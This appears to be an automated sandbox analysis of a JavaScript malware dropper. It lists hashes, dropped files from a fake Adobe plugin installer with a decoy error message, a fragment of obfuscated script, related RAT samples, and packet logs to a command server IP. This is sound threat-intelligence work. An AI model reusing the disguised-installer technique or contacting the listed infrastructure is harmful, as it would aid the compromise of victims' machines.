	scan129.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	AgreementCancellation_167193_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	AgreementCancellation_167193_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	Cancellation_700988_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	Cancellation_700988_May_30.js	Get hash	malicious	Unknown	Browse	217.195.153.225
	lciS2vJYVG.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	2Ys4KL12jE.lnk	Get hash	malicious	Unknown	Browse	217.195.153.225
	$RV11HAN.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	1CjPwte3ku.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	Server.dll.exe	Get hash	malicious	Unknown	Browse	217.195.153.225
	fucked.exe	Get hash	malicious	AsyncRAT	Browse	217.195.153.225

Dropped Files

⊘No context

Created / dropped Files

C:\Config.Msi\6781be.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	9201
Entropy (8bit):	5.550713453939256
Encrypted:	false
SSDEEP:	192:1ymr7moef7o5MYmEgmlwgemBsMYmEgmlwgcDmxhPUVpQ9:1ymnmH7o5MYmEgmlwLmmMYmEgmlwtmrL
MD5:	D3AB0C4C234E197770FFB662F8D2ADD6
SHA1:	F9AFEA7435358FD12FB99AE6E8F36F1B61BEDD26
SHA-256:	28CEBD74C73D91074958A3C44414B13457B12E352529C2ECED536DB3D0CC955D
SHA-512:	722B2EB2A98DF9E5D62FE169A4F2A3CA15E982776D1211B1BA7FA67DBEFD501D49C974D6E4DB2568BC4E879FE298FC0C09FEA98D9AD1A1920D601F0F916454F9
Malicious:	false
Preview:	...@IXOS.@.....@...V.@.....@.....@.....@.....@.....@......&.{FC992331-A040-46AF-B687-6A9DBF590393}'.Adobe Acrobat PDF Browser Plugin 4.8.25..rlvoq0.msi.@.....@.....@.....@........&.{8C788FE0-D109-4927-9111-67E9237DDA2D}.....@.....@.....@.....@.......@.....@.....@.......@....'.Adobe Acrobat PDF Browser Plugin 4.8.25......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}&.{FC992331-A040-46AF-B687-6A9DBF590393}.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..:.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\....B.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll....D.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs....WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]$..@....%.Software\AdobeAcrobatPDFBrowserPlugin...@....(.&...AdobeAcrobatPDFBro

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	770192
Entropy (8bit):	6.877945867252055
Encrypted:	false
SSDEEP:	12288:ovXYcP7kXn89DhAw1vUN3RFEycMFSDXxqEbfRh+NjAyejvDYTr80chn:mvTkXnyDPORDccmEsP+NjAyej7YE0a
MD5:	C1DAB9850EE6F747A7473D1530BCAAD9
SHA1:	9232348D0A02433019A6D6CCB4D498BFEC8C830E
SHA-256:	98C6DCDD89973784E26244B1D45CD7A120D909D1EB88326130B729741EC22BFC
SHA-512:	0C52CDCA863976D2B9B12DEE2F98B90954AD32B4C1E39591C2BE7E6AEB1D4B9B459DA16DEFA9A37F131BF358414913A8F9D24C55C178D2CAD84FE066F69DC49A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.Fz[XFz[XFz[XO..XBz[X]..XCz[XFzZX.x[X.4.XGz[X]..XEz[X]..XKz[X]..X!z[X]..XGz[X]..XGz[X]..XGz[XRichFz[X................PE..L.....6P...........!.........t.......................................................9....@......................... ....D...[..d....P.......................`..<...0...............................H<..@............................................text...E........................... ..`.rdata...p.......r..................@..@.data...D%... ..."..................@....rsrc........P....... ..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	132
Entropy (8bit):	4.599233980549996
Encrypted:	false
SSDEEP:	3:LwBxFkvH4dGmMKLVKRLGPz4VAFkvH4dGmMKLVKRLGH:cHFkvYdlZKRLi7FkvYdlZKRL4
MD5:	0D4C9F15CE74465C59AE36A27F98C817
SHA1:	9CCE8EEFA4D3D9C5E161C5DBB860CFE1489C6B1A
SHA-256:	D24E3399060B51F3A1C9D41A67DE2601888A35C99DA8DB70070D757BB3F1913A
SHA-512:	9BED0EAFC2CF2A2360850CA1070FFB04AC14F04C78379485998A93F45012B5C11CC7F6F68129F65B8B5F90437CB965908C6A1BB9D83A56B068D6BDE1D5FDAD1F
Malicious:	false
Preview:	MsgBox "Adobe Acrobat PDF Browser Plugin installation error 0x00000328", 16, "Adobe Acrobat PDF Browser Plugin installation error"..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\P96VU3JU.htm

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1206), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	77474
Entropy (8bit):	5.0975849792978245
Encrypted:	false
SSDEEP:	1536:ZBLiUj6cYhYr3UfFROQ18PDqvcgcX8curLyFb31WDk12ttFYUscdy/Rw8AVsIYuC:fvoZ0D+eUd9poc1F2
MD5:	CA00DD38DFB18DB50C407E005B8A326D
SHA1:	8AD25F10907B838CCE8CD894E71E11F7C7A73FB4
SHA-256:	721F41602C70EE036C8B73D75E5DC9EBB1E370D3EB95CD89F46DE22846968EC4
SHA-512:	BE9E03BAF696734A9953EEAA39DE3AB665209FED07AB58A2D88D6D1E414C1075670BAE2973F9DA435E52CC8BCDA6C8DCAB442F27C314ABC877C19C9675247FAA
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html lang="en-US" dir="ltr">. <head>. <meta charset="UTF-8"/>. <meta name="HandheldFriendly" content="True"/>. <meta name="MobileOptimized" content="320"/>. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>.. <title>Networking, Cloud, and Cybersecurity Solutions - Cisco</title>.. .............<meta name="description" content="Cisco delivers innovative software-defined networking, cloud, and security solutions to help transform your business, empowering an inclusive future for all. "/>......<meta name="title" content="Networking, Cloud, and Cybersecurity Solutions"/>......<meta name="templateName" content="homepage"/>......<meta name="locale" content="English (United States)"/>......<meta name="language" content="en"/>......<meta name="country" content="US"/>......<meta name="CCID_Page" content="cc001769"/>......<meta name="date" content="Wed May 31 20:02:34 UTC 2023"/>.....<meta name="accessLevel" content="Customer"/><meta n

C:\Windows\Installer\6781bf.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Acrobat PDF Browser Plugin 4.8.25, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Acrobat PDF Browser Plugin, Template: Intel;1033, Revision Number: {8C788FE0-D109-4927-9111-67E9237DDA2D}, Create Time/Date: Thu Jun 1 15:57:00 2023, Last Saved Time/Date: Thu Jun 1 15:57:00 2023, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	7.876811826694354
Encrypted:	false
SSDEEP:	6144:qnVPe+3R6gz8C1psDVw8EAYwzPJLNee9iZiYnCpqvY1dGujAyep5vDukjZkUHU:BxCriEQzPJLNee9Lp1NjAyefvDTjRU
MD5:	6CDBF973811A5C53B53693E2BBDD9911
SHA1:	6096B291FF91666F67B147604EDD16B74583BD94
SHA-256:	42D8AA89DE1988158D3402468BDC03E1199D1BB6730D88FB2B334EAEF5151B4E
SHA-512:	7243EE804B852E1B94F53D0D9200C61563B65CB22F22705D1F2DE5C760CEB2BBF46BE9E23071EC11F946030F3CB73D44F774037A75EA4B9D724A82768FDC339A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI81ED.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2183
Entropy (8bit):	5.628154039319557
Encrypted:	false
SSDEEP:	48:EnyctSa8EJwCP3lDufgGYLEBoD8SY1eU/uneyctnzaEVltiCEjyct2yctJ:Enymr82mYLKAueteymnzaEPNEym2ymJ
MD5:	D5B88FB1D18B735124FDF00C8AF33D91
SHA1:	A1792F12D8329959D0A8CDF1A5001C6B97C34771
SHA-256:	4EF3F3575E13F5FD341706A0C1B2E85FA8B0473CBE2F78EF214A410B3B7139A3
SHA-512:	8AE9A692F8C29114F830305E78606B683322F2DFCDD9B5FB47FE1EBADF3AA8AB7C4C36DE2F59A3470318830D84947C634E05317F6B2468E0C2A6957B72B1AC56
Malicious:	false
Preview:	...@IXOS.@.....@...V.@.....@.....@.....@.....@.....@......&.{FC992331-A040-46AF-B687-6A9DBF590393}'.Adobe Acrobat PDF Browser Plugin 4.8.25..rlvoq0.msi.@.....@.....@.....@........&.{8C788FE0-D109-4927-9111-67E9237DDA2D}.....@.....@.....@.....@.......@.....@.....@.......@....'.Adobe Acrobat PDF Browser Plugin 4.8.25......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}F.01:\Software\AdobeAcrobatPDFBrowserPlugin\AdobeAcrobatPDFBrowserPlugin.@.......@.....@.....@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@.....@......:.C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\..).1\xssanpen\\|AdobeAcrobatPDFBrowserPlugin\......Please insert the disk: ..media3.cab.@.....@......C:\Windows\Installer\MSI980.tmp.........@........main.dll..dll_main..main.dll.@.....@.....@.......@...

C:\Windows\Installer\MSI980.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Acrobat PDF Browser Plugin 4.8.25, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Acrobat PDF Browser Plugin, Template: Intel;1033, Revision Number: {8C788FE0-D109-4927-9111-67E9237DDA2D}, Create Time/Date: Thu Jun 1 15:57:00 2023, Last Saved Time/Date: Thu Jun 1 15:57:00 2023, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	7.876811826694354
Encrypted:	false
SSDEEP:	6144:qnVPe+3R6gz8C1psDVw8EAYwzPJLNee9iZiYnCpqvY1dGujAyep5vDukjZkUHU:BxCriEQzPJLNee9Lp1NjAyefvDTjRU
MD5:	6CDBF973811A5C53B53693E2BBDD9911
SHA1:	6096B291FF91666F67B147604EDD16B74583BD94
SHA-256:	42D8AA89DE1988158D3402468BDC03E1199D1BB6730D88FB2B334EAEF5151B4E
SHA-512:	7243EE804B852E1B94F53D0D9200C61563B65CB22F22705D1F2DE5C760CEB2BBF46BE9E23071EC11F946030F3CB73D44F774037A75EA4B9D724A82768FDC339A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5139341423847625
Encrypted:	false
SSDEEP:	48:48PhfuRc06WXOCjT5QwnTuLMS59CuSiyZuLMSI818lPh:Hhf1UjTmAPQCWU
MD5:	85A839A2B53A56555B7D91C34CDBA910
SHA1:	CAF5022AF9D098DBD42728A7596FBE065AC50434
SHA-256:	944815393D9FEF1B532A1E16AE940C89F5D440E34151B125125191D2EB232986
SHA-512:	03B5C6593C8A97C5D6C23D4C90EE76E5991538DBD995D7FD61948ACBA71C335382C4ACF640EA6D426A912835B9DDBDC7CC8432170C08C053BCC016A0DFE35C99
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0DDEAC6C9405E7E5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.12385738335065163
Encrypted:	false
SSDEEP:	24:xpMB70R818lOdWmOLqrb9ipVIdWmOLqrb9ipV7V3+bWG5sGgSi+9ZkZ+Qqy7:0KR818lEuLMSouLMS59CuSiyI/D
MD5:	5B105F69A0DC574281DCF82562C1A00C
SHA1:	A1124F5310787335178A1713F683481638781C29
SHA-256:	6F7CFDE8437832352E2ADA20018A9F32ECE2ECCA873AC0359EB1F37CEBA25434
SHA-512:	39E496C53C464F1E3BE345E5AA44F58A596DD8251114665132A466AF2EC624B9B9B272DFF23640F4BC92776053DE07751691603DA936DDDAE00F3C6D76FF57D2
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4D363E067C7B1335.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7239BB99E68B74D1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF97032EC5218A315C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAAF580DC072508D1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5139341423847625
Encrypted:	false
SSDEEP:	48:48PhfuRc06WXOCjT5QwnTuLMS59CuSiyZuLMSI818lPh:Hhf1UjTmAPQCWU
MD5:	85A839A2B53A56555B7D91C34CDBA910
SHA1:	CAF5022AF9D098DBD42728A7596FBE065AC50434
SHA-256:	944815393D9FEF1B532A1E16AE940C89F5D440E34151B125125191D2EB232986
SHA-512:	03B5C6593C8A97C5D6C23D4C90EE76E5991538DBD995D7FD61948ACBA71C335382C4ACF640EA6D426A912835B9DDBDC7CC8432170C08C053BCC016A0DFE35C99
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC5AF83C6C09B723C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC8411CD743E6CADD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2160379124181024
Encrypted:	false
SSDEEP:	48:96sHudGMLFXO1T5xwnTuLMS59CuSiyZuLMSI818lPh:NHaoTXAPQCWU
MD5:	728071432EDD86E0F409E56F049713EE
SHA1:	323CFD840E915D18EEE7B26940BD5EC7C96BDB7A
SHA-256:	8145EC08F28849AAB41165038EE8D14A1C6BDAD2E40456A7653FBB3FDFF5C53D
SHA-512:	95C4082EC1CBB9A8B3EF7BBACCE7300836FA5F16F4EF669EA42DCBB2E40033B886689511C281216C9F5E9289B0ADE8E2E57BC5F8B81A24233BAED9C9408362FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFCFA0FDA4AEF3B850.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5139341423847625
Encrypted:	false
SSDEEP:	48:48PhfuRc06WXOCjT5QwnTuLMS59CuSiyZuLMSI818lPh:Hhf1UjTmAPQCWU
MD5:	85A839A2B53A56555B7D91C34CDBA910
SHA1:	CAF5022AF9D098DBD42728A7596FBE065AC50434
SHA-256:	944815393D9FEF1B532A1E16AE940C89F5D440E34151B125125191D2EB232986
SHA-512:	03B5C6593C8A97C5D6C23D4C90EE76E5991538DBD995D7FD61948ACBA71C335382C4ACF640EA6D426A912835B9DDBDC7CC8432170C08C053BCC016A0DFE35C99
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD56E4E9B73156A44.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2160379124181024
Encrypted:	false
SSDEEP:	48:96sHudGMLFXO1T5xwnTuLMS59CuSiyZuLMSI818lPh:NHaoTXAPQCWU
MD5:	728071432EDD86E0F409E56F049713EE
SHA1:	323CFD840E915D18EEE7B26940BD5EC7C96BDB7A
SHA-256:	8145EC08F28849AAB41165038EE8D14A1C6BDAD2E40456A7653FBB3FDFF5C53D
SHA-512:	95C4082EC1CBB9A8B3EF7BBACCE7300836FA5F16F4EF669EA42DCBB2E40033B886689511C281216C9F5E9289B0ADE8E2E57BC5F8B81A24233BAED9C9408362FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEA98AB2A043532AC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2160379124181024
Encrypted:	false
SSDEEP:	48:96sHudGMLFXO1T5xwnTuLMS59CuSiyZuLMSI818lPh:NHaoTXAPQCWU
MD5:	728071432EDD86E0F409E56F049713EE
SHA1:	323CFD840E915D18EEE7B26940BD5EC7C96BDB7A
SHA-256:	8145EC08F28849AAB41165038EE8D14A1C6BDAD2E40456A7653FBB3FDFF5C53D
SHA-512:	95C4082EC1CBB9A8B3EF7BBACCE7300836FA5F16F4EF669EA42DCBB2E40033B886689511C281216C9F5E9289B0ADE8E2E57BC5F8B81A24233BAED9C9408362FF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEE30CB9E16457345.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (1337), with CRLF line terminators
Entropy (8bit):	5.540540865355687
TrID:
File name:	ProjectFunding_450726_Jun01.js
File size:	1400
MD5:	a657553449746c482dacfe3b19119b7a
SHA1:	630b815d443f8f7ef7e4c4c7c100de1cd8a7ed53
SHA256:	44e029dd6210c4906a82e1f16dd5ebed434efd225dafb92fc560e6ff6d1ee948
SHA512:	dea33536a5c5fe279ca1a8a3d4639be0f49d5ca3c21f4cbbda10c5d059837c2bc4c3917cdbddd0fc9f4a0773f325369b200f0df8e0035da6afab26f09502c321
SSDEEP:	24:5PyzicY1VBFAMhY1VBcrFKW/KOXNY5vevO7VoYDT2ADpBiW+bDwi8H9i3VIwmq2O:54MZr5FYNOlyDpB2bDwVH9KVMq2YGfBK
TLSH:	EB21BE1708699DBC25F78BC52F0C5C81F0FFC2B2DAD4C4335851C88A4089A9AEE2587D
File Content Preview:	// quapqospufftqhkzhpufbasppgs..var _$_cdc5=(function(_0x1CEE1,_0x1CE96){var _0x1D184=_0x1CEE1.length;var _0x1D00D=[];for(var _0x1CE4B=0;_0x1CE4B< _0x1D184;_0x1CE4B++){_0x1D00D[_0x1CE4B]= _0x1CEE1.charAt(_0x1CE4B)};for(var _0x1CE4B=0;_0x1CE4B< _0x1D184;_0

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 17:54:26.911286116 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:26.911387920 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:26.911590099 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:26.917148113 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:26.917186975 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.018752098 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.018986940 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.026257992 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.026293993 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.026689053 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.070065022 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.252960920 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.300285101 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446471930 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446522951 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446533918 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446559906 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446588993 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446597099 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.446620941 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446640015 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446656942 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.446669102 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446686029 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446712017 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.446719885 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.446755886 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.475120068 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.475155115 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.475271940 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.475296974 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.475342035 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.475370884 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.475413084 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.475447893 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.482527018 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.482556105 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.482625008 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.482635021 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.482701063 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.504024029 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504059076 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504162073 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504179955 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.504195929 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504245043 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.504291058 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.504370928 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504390001 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.504466057 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.504472971 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511022091 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511059046 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511158943 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.511168957 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511183023 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511200905 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.511261940 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.511267900 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.514539003 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.514574051 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.514648914 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.514657974 CEST	443	49702	217.195.153.225	192.168.2.3
Jun 1, 2023 17:54:27.514695883 CEST	49702	443	192.168.2.3	217.195.153.225
Jun 1, 2023 17:54:27.533071041 CEST	443	49702	217.195.153.225	192.168.2.3
